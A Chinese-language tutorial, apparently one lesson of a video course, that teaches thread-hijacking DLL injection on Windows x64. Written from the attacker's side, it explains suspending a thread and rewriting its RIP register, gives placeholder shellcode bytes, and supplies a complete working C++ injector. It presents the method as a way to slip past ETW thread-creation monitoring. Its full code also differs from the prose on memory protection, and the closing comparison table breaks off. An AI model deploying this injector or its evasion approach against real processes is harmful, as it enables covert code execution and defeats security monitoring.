阅读时间: 3-4 分钟
前置知识: 理解 APC 注入、线程上下文、CPU 寄存器、x64 调用约定
学习目标: 掌握线程劫持技术,理解如何通过修改 RIP 寄存器实现代码注入


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1zWshzeE28/


承接上节:APC 注入为什么会失效?

上节课,我们用 APC 注入成功绕过了 ETW 的线程创建检测:

  • ✅ 不创建新线程,复用现有线程
  • ✅ ETW 检测器完全沉默
  • ✅ 比 Shellcode 注入更隐蔽

看起来很完美,但当你在实战环境测试时,会发现一个让人崩溃的问题:

APC 入队成功了,但 DLL 就是不加载!

为什么?让我们回顾一下 APC 的执行条件:

  • 线程必须调用 SleepEx(time, TRUE)
  • 或者 WaitForSingleObjectEx(..., TRUE)
  • 最后一个参数必须是 TRUE(进入可警报状态)

问题的根源:如果目标进程的线程从不进入 Alertable 状态呢?

举个实际场景:

// 某个控制台程序的主循环(非常常见)
while (true)
{
    DoSomeWork();
    Sleep(1000);  // 注意:不是 SleepEx(1000, TRUE)
}

这个线程永远不会进入 Alertable 状态!

攻击者的尴尬时刻:

  • ✅ APC 入队成功,提示”已入队到 5 个线程”
  • ❌ 等了 5 分钟,DLL 还是没加载
  • ❌ 只能被动等待,像个傻子
  • ❌ 攻击完全失败

作为攻击者,这能忍吗?

当然不能!今天我们就来解决这个问题

攻击者的新思路:主动劫持线程

既然 APC 是”被动等待”,那我们就主动出击!

核心思想:
不等线程自己进入 Alertable 状态,我直接强制修改线程的执行流程

具体怎么做?

  1. 暂停线程 → 线程停止工作
  2. 读取线程上下文 → 拿到所有寄存器的值
  3. 修改 RIP 寄存器 → 改成我们的 Shellcode 地址
  4. 恢复线程 → 线程立即执行我们的代码!

这就是线程劫持技术

核心原理讲解:什么是线程上下文和 RIP 寄存器

在深入代码之前,我们必须理解两个关键概念。

什么是线程上下文(Thread Context)?

线程上下文是 CPU 执行线程时所有寄存器状态的快照

要理解这句话,需要先知道什么是寄存器:

  • 寄存器是 CPU 内部的存储单元,速度比内存快 100 倍以上
  • CPU 执行任何操作都依赖寄存器:存储数据、计算结果、记录执行位置等
  • 线程在 CPU 上运行时,这些寄存器的值就构成了”线程上下文”

这些寄存器可以分为以下几类:

1. 指令指针寄存器(最关键)

  • RIP:存储下一条要执行的指令地址
  • 这是线程劫持的核心目标

2. 通用寄存器(存储数据)

  • RAX, RBX, RCX, RDX:存储计算结果、函数参数
  • R8, R9, R10, R11, R12, R13, R14, R15:x64 扩展寄存器

3. 栈寄存器(管理函数调用)

  • RSP:栈顶指针,指向当前栈的位置
  • RBP:栈底指针,用于访问局部变量

4. 其他寄存器

  • 段寄存器(CS, DS, SS…):控制内存访问
  • 标志寄存器(EFLAGS):保存运算状态(零标志、进位标志等)

Windows 用 CONTEXT 结构体保存这些寄存器:

typedef struct _CONTEXT {
    // 1. 指令指针(最关键!)
    DWORD64 Rip;

    // 2. 通用寄存器
    DWORD64 Rax, Rbx, Rcx, Rdx;
    DWORD64 Rsi, Rdi;
    DWORD64 R8, R9, R10, R11, R12, R13, R14, R15;

    // 3. 栈寄存器
    DWORD64 Rsp, Rbp;

    // 4. 其他寄存器
    WORD SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
    DWORD EFlags;

    // ... 还有浮点寄存器 (XMM0-XMM15)、调试寄存器等
} CONTEXT;

为什么需要读取线程上下文?

因为线程劫持需要:

  1. 读取原始 RIP(保存线程当前执行到哪里)
  2. 修改 RIP 为 Shellcode 地址(让线程去执行我们的代码)
  3. Shellcode 执行完后,跳回原始 RIP(线程继续正常工作)

什么是 RIP 寄存器?

RIP (Instruction Pointer Register) 存储下一条要执行的指令地址

CPU 的工作循环:

1. 从内存地址 RIP 读取指令
2. 执行这条指令
3. RIP 自动指向下一条指令
4. 重复步骤 1

正常执行示例:

RIP = 0x00007FF812340A10  → 执行 mov rax, rbx
RIP = 0x00007FF812340A13  → 执行 add rax, 1
RIP = 0x00007FF812340A16  → 执行 ret

线程劫持的关键:破坏 RIP 的正常执行流程

正常情况下,RIP 会按照程序的逻辑顺序自动递增:

RIP = 0x00007FF812340A10  → 执行指令 A
RIP = 0x00007FF812340A13  → 执行指令 B (自动递增)
RIP = 0x00007FF812340A17  → 执行指令 C (自动递增)
...

而我们要做的,就是强制打断这个流程:

1. 暂停线程 (SuspendThread)
2. 读取当前 RIP = 0x00007FF812340A10
3. 强制修改 RIP = 0x23F4A7B0000 (我们的 Shellcode 地址)
4. 恢复线程 (ResumeThread)

劫持后的执行流程:

RIP = 0x23F4A7B0000      → 执行我们的 Shellcode!
RIP = 0x23F4A7B0010      → 继续执行 Shellcode
RIP = 0x23F4A7B0020      → Shellcode 调用 LoadLibraryA
↓
Shellcode 执行完毕,恢复原始 RIP
↓
RIP = 0x00007FF812340A10  → 线程继续正常执行 (就像什么都没发生)

CPU 不关心代码的来源,只会机械地执行 RIP 指向的指令。

这就是线程劫持的威力:不创建新线程,只是”借用”现有线程执行一段代码,执行完就还回去!

完整的劫持流程图示

正常线程执行流程:
┌─────────────────────────────────┐
│ 线程正常工作中                   │
│ RIP = 0x7FF812340A10            │
│ ┌─────┐  ┌─────┐  ┌─────┐      │
│ │代码1 │→│代码2 │→│代码3 │      │
│ └─────┘  └─────┘  └─────┘      │
└─────────────────────────────────┘

攻击者劫持流程:
┌─────────────────────────────────┐
│ 1. SuspendThread               │
│    线程暂停,RIP = 0x7FF812340A10│
├─────────────────────────────────┤
│ 2. GetThreadContext            │
│    读取 RIP,保存原始值           │
├─────────────────────────────────┤
│ 3. SetThreadContext            │
│    修改 RIP = 0x23F4A7B0000     │
│    (Shellcode 地址)             │
├─────────────────────────────────┤
│ 4. ResumeThread                │
│    线程恢复,从 Shellcode 执行!   │
│ ┌──────────┐  ┌──────────┐     │
│ │Shellcode │→│LoadLibrary│     │
│ └──────────┘  └──────────┘     │
│             ↓                   │
│    跳回原始 RIP (0x7FF812340A10)│
│ ┌─────┐  ┌─────┐  ┌─────┐      │
│ │代码1 │→│代码2 │→│代码3 │      │
│ └─────┘  └─────┘  └─────┘      │
│    线程继续正常工作              │
└─────────────────────────────────┘

与 APC 注入的对比分析

让我们详细对比一下两种技术:

维度

APC 注入

线程劫持

创建新线程

❌ 否

❌ 否

执行时机

被动等待 Alertable 状态

主动控制,立即执行

成功率

低(线程可能永不 Alertable)

高(强制劫持)

修改线程上下文

❌ 不修改

✅ 修改 RIP 寄存器

需要 Shellcode

❌ 直接调用 LoadLibrary

✅ 需要保存/恢复 RIP

风险

低(系统自动调度)

中(需正确保存/恢复上下文)

检测难度

中(监控 QueueUserAPC)

中(监控 SuspendThread/SetThreadContext)

核心差异总结:

  • APC 注入:温和,但不可控
  • 线程劫持:暴力,但可靠

Shellcode 设计:执行代码后跳回原位

线程劫持比 APC 注入多了一个关键步骤:必须跳回原始 RIP

为什么?

  • 因为我们强制修改了线程的执行流
  • 如果不跳回去,线程会崩溃
  • 进程也会崩溃

完整的 Shellcode 逻辑:

; 1. 保存易失寄存器(x64 调用约定要求)
sub  rsp, 28h                   ; 分配 Shadow Space + 栈对齐
mov  [rsp+18h], rax             ; 保存 RAX
mov  [rsp+10h], rcx             ; 保存 RCX

; 2. 调用 LoadLibraryA
mov  rcx, <dllPath>             ; 第一个参数:DLL 路径地址
mov  rax, <LoadLibraryA>        ; 函数地址
call rax                        ; 调用 LoadLibraryA(dllPath)

; 3. 恢复寄存器(关键!)
mov  rcx, [rsp+10h]             ; 恢复 RCX
mov  rax, [rsp+18h]             ; 恢复 RAX(关键!)
add  rsp, 28h                   ; 释放栈空间

; 4. 跳回原始 RIP
mov  r11, <originalRip>         ; R11 = 原 RIP 地址
jmp  r11                        ; 跳回原位置,线程继续工作

为什么要保存/恢复 RAX 和 RCX?

这是 x64 调用约定的要求:

  • RAX:存放函数返回值,调用 LoadLibrary 后会被覆盖
  • RCX:第一个参数寄存器,我们用它传 DLL 路径
  • 如果不恢复,线程恢复后寄存器值错误 → 崩溃!

对应的 C++ 字节码:

unsigned char g_Shellcode[] = {
    0x48, 0x83, 0xEC, 0x28,        // sub  rsp, 28h
    0x48, 0x89, 0x44, 0x24, 0x18,  // mov  [rsp+18h], rax
    0x48, 0x89, 0x4C, 0x24, 0x10,  // mov  [rsp+10h], rcx
    0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rcx, <dllPath> (占位符)
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rax, <LoadLibraryA> (占位符)
    0xFF, 0xD0,                    // call rax
    0x48, 0x8B, 0x4C, 0x24, 0x10,  // mov  rcx, [rsp+10h]
    0x48, 0x8B, 0x44, 0x24, 0x18,  // mov  rax, [rsp+18h]
    0x48, 0x83, 0xC4, 0x28,        // add  rsp, 28h
    0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov r11, <originalRip> (占位符)
    0x41, 0xFF, 0xE3               // jmp  r11
};

注意占位符的位置:

  • shellcode + 16:DLL 路径地址(8 字节)
  • shellcode + 26:LoadLibraryA 地址(8 字节)
  • shellcode + 52:原始 RIP 地址(8 字节)

动手实现线程劫持注入

理解原理后,我们来实现完整代码。

从 main 函数开始

int main()
{
    std::cout << "=== 线程劫持注入 ===rnrn";
    DWORD targetPid = 0;
    std::cout << "请输入目标进程 PID: ";
    std::cin >> targetPid;
    const char* dllPath = "C:\Injection.dll";
    InjectDllWithThreadHijack(targetPid, dllPath);
    system("pause");
    return 0;
}

第一步:打开进程并验证 DLL 路径

BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
    BOOL bSuccess = FALSE;
    // 打开进程(需要内存操作权限)
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE,
        dwProcessId
    );
    if (!hProcess)
    {
        std::cout << "打开进程失败,错误码: " << GetLastError() << "rn";
        return FALSE;
    }
    std::cout << "成功打开目标进程 PID=" << dwProcessId << "rn";
    // 验证 DLL 文件是否存在
    if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
    {
        std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "rn";
        std::cout << "继续执行,但注入可能失败...rn";
    }
    // ... 继续后续步骤
}

权限说明:

  • PROCESS_VM_OPERATION:内存分配权限
  • PROCESS_VM_WRITE:内存写入权限
  • PROCESS_VM_READ:内存读取权限(可选)
  • PROCESS_QUERY_INFORMATION:查询进程信息

为什么不需要 PROCESS_CREATE_THREAD?
因为线程劫持不创建新线程,这是绕过 ETW 检测的关键!

第二步:获取 LoadLibraryA 地址并分配内存

// 获取 LoadLibraryA 地址
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibraryA)
{
    std::cout << "获取 LoadLibraryA 地址失败rn";
    CloseHandle(hProcess);
    return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "rn";

// 在目标进程中分配两块内存
size_t dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!pRemoteDllPath || !pRemoteShellcode)
{
    std::cout << "分配内存失败,错误码: " << GetLastError() << "rn";
    if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
    if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "rn";
std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "rn";

// 写入 DLL 路径
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
{
    std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "rn";
    VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

为什么暂时分配 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?

  • 降低可疑性(很多安全软件会监控可执行内存分配)
  • 写入完成后再修改为可执行

第三步:枚举线程,选择劫持目标

// 创建线程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
    std::cout << "创建线程快照失败,错误码: " << GetLastError() << "rn";
    VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (!Thread32First(hSnapshot, &te32))
{
    std::cout << "枚举线程失败,错误码: " << GetLastError() << "rn";
    CloseHandle(hSnapshot);
    VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

std::cout << "rn开始枚举线程...rn";
int threadCount = 0;

为什么需要枚举线程?
因为我们需要找到一个可以劫持的线程:

  • 必须属于目标进程
  • 必须能成功暂停
  • 必须能成功读取/修改上下文

第四步:劫持线程(核心步骤)

这是整个技术的核心,我们详细拆解每一步。

4.1 遍历线程并尝试劫持

do
{
    // 只处理目标进程的线程
    if (te32.th32OwnerProcessID != dwProcessId)
        continue;

    threadCount++;

    // 打开线程(需要暂停/上下文操作权限)
    HANDLE hThread = OpenThread(
        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
        FALSE,
        te32.th32ThreadID
    );

    if (!hThread)
    {
        std::cout << "  [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "rn";
        continue;
    }

    std::cout << "  [*] 尝试劫持线程 " << te32.th32ThreadID << "...rn";

    // ... 继续劫持流程
} while (Thread32Next(hSnapshot, &te32));

权限说明:

  • THREAD_SUSPEND_RESUME:暂停/恢复线程
  • THREAD_GET_CONTEXT:读取线程上下文
  • THREAD_SET_CONTEXT:修改线程上下文

4.2 暂停线程

if (SuspendThread(hThread) == (DWORD)-1)
{
    std::cout << "    暂停线程失败rn";
    CloseHandle(hThread);
    continue;
}

暂停线程的意义:

  • 线程停止执行,RIP 寄存器不再变化
  • 我们可以安全地读取/修改上下文
  • 如果不暂停,RIP 值会不断变化,修改会失败

4.3 读取线程上下文,保存原始 RIP

CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;

if (!GetThreadContext(hThread, &ctx))
{
    std::cout << "    获取上下文失败rn";
    ResumeThread(hThread);
    CloseHandle(hThread);
    continue;
}

CONTEXT_FULL 的含义:
读取完整的线程上下文,包括:

  • 通用寄存器(RAX, RBX, RCX, RDX…)
  • 指令指针(RIP)
  • 栈指针(RSP, RBP)
  • 段寄存器(CS, DS, SS…)

此时 ctx.Rip 保存了线程当前的执行位置,这是我们必须保存的值!

4.4 填充 Shellcode 占位符

// 复制 Shellcode 模板
unsigned char shellcode[sizeof(g_Shellcode)];
memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));

// 填充三个占位符
*(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath;   // DLL 路径地址
*(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA;    // LoadLibraryA 地址
*(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip;          // ⭐ 原始 RIP(关键!)

为什么是这三个地址?

  • 偏移 16:DLL 路径地址(mov rcx, <dllPath> 的操作数位置)
  • 偏移 26:LoadLibraryA 地址(mov rax, <LoadLibraryA> 的操作数位置)
  • 偏移 52:原始 RIP(mov r11, <originalRip> 的操作数位置)

4.5 写入 Shellcode 并修改内存属性

// 写入填充后的 Shellcode
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
{
    std::cout << "    写入 Shellcode 失败rn";
    ResumeThread(hThread);
    CloseHandle(hThread);
    continue;
}

// 修改内存保护属性为可执行
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, pRemoteShellcode, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect))
{
    std::cout << "    修改内存保护属性失败rn";
    ResumeThread(hThread);
    CloseHandle(hThread);
    continue;
}

为什么要修改为 PAGE_EXECUTE_READ?

  • 代码必须有执行权限才能运行
  • 只读权限可以防止意外覆盖
  • 去掉写权限也降低了可疑性

4.6 修改 RIP 并恢复线程

// 修改 RIP 指向 Shellcode
ctx.Rip = (DWORD64)pRemoteShellcode;

if (!SetThreadContext(hThread, &ctx))
{
    std::cout << "    设置上下文失败rn";
    ResumeThread(hThread);
    CloseHandle(hThread);
    continue;
}

// 恢复线程,立即执行 Shellcode!
ResumeThread(hThread);
CloseHandle(hThread);

std::cout << "  [+] 线程劫持成功!rn";
bSuccess = TRUE;
break;  // 劫持一个线程就够了

执行流程:

  1. SetThreadContext 修改 RIP = Shellcode 地址
  2. ResumeThread 恢复线程执行
  3. CPU 从 Shellcode 地址开始执行
  4. Shellcode 调用 LoadLibrary 加载 DLL
  5. Shellcode 跳回原始 RIP
  6. 线程继续正常工作,就像什么都没发生过

第五步:输出结果

CloseHandle(hSnapshot);
CloseHandle(hProcess);

if (bSuccess)
{
    std::cout << "rn=== 线程劫持注入成功 ===rn";
    std::cout << "DLL 将立即加载,无需等待 Alertable 状态!rn";
    std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!rn";
}
else
{
    std::cout << "rn线程劫持失败,共尝试 " << threadCount << " 个线程rn";
    VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
return bSuccess;

完整代码

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <cstdint>
#include <cstring>

/**
 * @file 05-攻击篇-线程劫持.cpp
 * @brief 通过线程劫持实现 DLL 注入,不依赖 Alertable 状态
 * @author ud2
 * @details 暂停线程 → 修改 RIP → 执行 Shellcode → 恢复原始 RIP
 */

#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif

/**
 * @brief Shellcode 字节码(x64)
 * @details 遵守 x64 调用约定,保存并恢复所有易失寄存器
 *
 * sub  rsp, 28h                   ; 分配栈空间(0x20=shadow + 0x08=对齐)
 * mov  [rsp+18h], rax             ; *** 保存原 RAX ***
 * mov  [rsp+10h], rcx             ; *** 保存原 RCX ***
 * mov  rcx, <dllPath>             ; 第一个参数:DLL 路径
 * mov  rax, <LoadLibraryA>        ; 函数地址
 * call rax                        ; LoadLibraryA(dllPath)
 * mov  rcx, [rsp+10h]             ; *** 恢复原 RCX ***
 * mov  rax, [rsp+18h]             ; *** 恢复原 RAX ***(关键!)
 * add  rsp, 28h                   ; 释放栈空间
 * mov  r11, <originalRip>         ; R11 = 原 RIP
 * jmp  r11                        ; 跳回(所有寄存器已恢复)
 */
unsigned char g_Shellcode[] = {
    0x48, 0x83, 0xEC, 0x28,        // sub  rsp, 28h
    0x48, 0x89, 0x44, 0x24, 0x18,  // mov  [rsp+18h], rax
    0x48, 0x89, 0x4C, 0x24, 0x10,  // mov  [rsp+10h], rcx
    0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rcx, <dllPath> (占位)
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rax, <LoadLibraryA> (占位)
    0xFF, 0xD0,                    // call rax
    0x48, 0x8B, 0x4C, 0x24, 0x10,  // mov  rcx, [rsp+10h]
    0x48, 0x8B, 0x44, 0x24, 0x18,  // mov  rax, [rsp+18h]
    0x48, 0x83, 0xC4, 0x28,        // add  rsp, 28h
    0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov r11, <originalRip> (占位)
    0x41, 0xFF, 0xE3               // jmp  r11
};

/**
 * @brief 使用线程劫持注入 DLL
 * @param dwProcessId 目标进程 ID
 * @param dllPath DLL 文件完整路径(ANSI)
 * @return 成功返回 TRUE,失败返回 FALSE
 * @details 暂停线程,修改 RIP 指向 Shellcode,恢复线程
 */
BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
    BOOL bSuccess = FALSE;
    // ========== 第一步:打开目标进程 ==========
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE,
        dwProcessId
    );
    if (!hProcess)
    {
        std::cout << "打开进程失败,错误码: " << GetLastError() << "rn";
        return FALSE;
    }
    std::cout << "成功打开目标进程 PID=" << dwProcessId << "rn";
    if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
    {
        std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "rn";
        std::cout << "继续执行,但注入可能失败...rn";
    }
    // ========== 第二步:获取 LoadLibraryA 地址 ==========
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    if (!pLoadLibraryA)
    {
        std::cout << "获取 LoadLibraryA 地址失败rn";
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "rn";
    // ========== 第三步:在目标进程中分配内存 ==========
    size_t dllPathLen = strlen(dllPath) + 1;
    LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteDllPath || !pRemoteShellcode)
    {
        std::cout << "分配内存失败,错误码: " << GetLastError() << "rn";
        if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
        if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "rn";
    std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "rn";
    // ========== 第四步:写入 DLL 路径到远程内存 ==========
    if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
    {
        std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "rn";
        VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    // ========== 第五步:枚举目标进程的所有线程 ==========
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        std::cout << "创建线程快照失败,错误码: " << GetLastError() << "rn";
        VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    if (!Thread32First(hSnapshot, &te32))
    {
        std::cout << "枚举线程失败,错误码: " << GetLastError() << "rn";
        CloseHandle(hSnapshot);
        VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    std::cout << "rn开始枚举线程...rn";
    int threadCount = 0;
    // ========== 第六步:遍历线程,尝试劫持 ==========
    do
    {
        // 6.1 过滤:只处理目标进程的线程
        if (te32.th32OwnerProcessID != dwProcessId)
            continue;
        threadCount++;
        // 6.2 打开线程(需要暂停、读取、修改上下文的权限)
        HANDLE hThread = OpenThread(
            THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
            FALSE,
            te32.th32ThreadID
        );
        if (!hThread)
        {
            std::cout << "  [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "rn";
            continue;
        }
        std::cout << "  [*] 尝试劫持线程 " << te32.th32ThreadID << "...rn";
        // 6.3 暂停线程(冻结 RIP,防止执行位置变化)
        if (SuspendThread(hThread) == (DWORD)-1)
        {
            std::cout << "    暂停线程失败rn";
            CloseHandle(hThread);
            continue;
        }
        // 6.4 获取线程上下文(读取所有寄存器状态)
        CONTEXT ctx = {};
        ctx.ContextFlags = CONTEXT_FULL;
        if (!GetThreadContext(hThread, &ctx))
        {
            std::cout << "    获取上下文失败rn";
            ResumeThread(hThread);
            CloseHandle(hThread);
            continue;
        }
        // 6.5 填充 Shellcode 占位符(关键步骤!)
        unsigned char shellcode[sizeof(g_Shellcode)];
        memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));
        *(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath;   // DLL 路径地址
        *(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA;    // LoadLibraryA 地址
        *(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip;          // 原始 RIP(必须保存!)
        // 6.6 写入填充后的 Shellcode 到远程进程
        if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
        {
            std::cout << "    写入 Shellcode 失败rn";
            ResumeThread(hThread);
            CloseHandle(hThread);
            continue;
        }
        // 6.7 修改 RIP 指向 Shellcode(劫持执行流!)
        ctx.Rip = (DWORD64)pRemoteShellcode;
        if (!SetThreadContext(hThread, &ctx))
        {
            std::cout << "    设置上下文失败rn";
            ResumeThread(hThread);
            CloseHandle(hThread);
            continue;
        }
        // 6.8 恢复线程(开始执行 Shellcode!)
        ResumeThread(hThread);
        CloseHandle(hThread);
        std::cout << "  [+] 线程劫持成功!rn";
        bSuccess = TRUE;
        break;  // 劫持一个线程就够了

    } while (Thread32Next(hSnapshot, &te32));
    // ========== 第七步:清理资源 ==========
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    // ========== 第八步:输出结果 ==========
    if (bSuccess)
    {
        std::cout << "rn=== 线程劫持注入成功 ===rn";
        std::cout << "DLL 将立即加载,无需等待 Alertable 状态!rn";
        std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!rn";
    }
    else
    {
        std::cout << "rn线程劫持失败,共尝试 " << threadCount << " 个线程rn";
        VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
    }
    return bSuccess;
}

/**
 * @brief 程序入口
 * @return 程序退出码
 */
int main()
{
    std::cout << "=== 线程劫持注入 ===rnrn";
    DWORD targetPid = 0;
    std::cout << "请输入目标进程 PID: ";
    std::cin >> targetPid;
    const char* dllPath = "C:\Injection.dll";
    InjectDllWithThreadHijack(targetPid, dllPath);
    system("pause");
    return 0;
}

核心要点总结

  1. 打开进程(不需要 PROCESS_CREATE_THREAD)
  2. 分配内存(DLL 路径 + Shellcode)
  3. 枚举线程并选择目标
  4. 暂停线程 → 读取上下文 → 保存原始 RIP
  5. 填充 Shellcode 占位符(DLL 路径、LoadLibrary、原始 RIP)
  6. 写入 Shellcode 到远程进程
  7. 修改 RIP = Shellcode 地址
  8. 恢复线程 → 立即执行!

运行与验证

验证步骤

1. 准备测试 DLL

创建一个简单的测试 DLL:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MessageBoxA(NULL, "线程劫持注入成功!", "测试 DLL", MB_OK);
    }
    return TRUE;
}

编译为 C:Injection.dll

2. 准备目标进程

创建一个简单的控制台程序(注意使用 Sleep 而不是 SleepEx):

#include <iostream>
#include <windows.h>

int main()
{
    std::cout << "目标进程运行中,PID = " << GetCurrentProcessId() << "n";
    std::cout << "按 Ctrl+C 退出nn";

    while (true)
    {
        std::cout << "工作中...n";
        Sleep(2000);  // 注意:不是 SleepEx,线程永不 Alertable
    }
    return 0;
}

3. 启动 ETW 监听器

运行远程线程检测程序来监控线程创建事件。

4. 运行线程劫持程序,观察效果

如图所示:

  • 左侧:线程劫持注入程序成功运行,DLL 被加载并弹出提示框
  • 右侧:ETW 监听器显示”无任何线程创建事件“,说明未创建新线程
  • 任务管理器:线程数没有变化

绕过成功!而且比 APC 注入更可靠!

  • ✅ 不创建新线程 → 绕过 ETW 检测
  • ✅ 立即执行 → 不依赖 Alertable 状态,100% 成功率
  • ✅ 强制劫持 → 比被动等待的 APC 更可靠

对比三种注入技术

技术

创建新线程

执行时机

ETW 检测结果

远程线程

✅ 创建

立即执行

❌ 检测到

APC 注入

❌ 复用

等待 Alertable

✅ 绕过(但可能不执行)

线程劫持

❌ 复用

立即执行

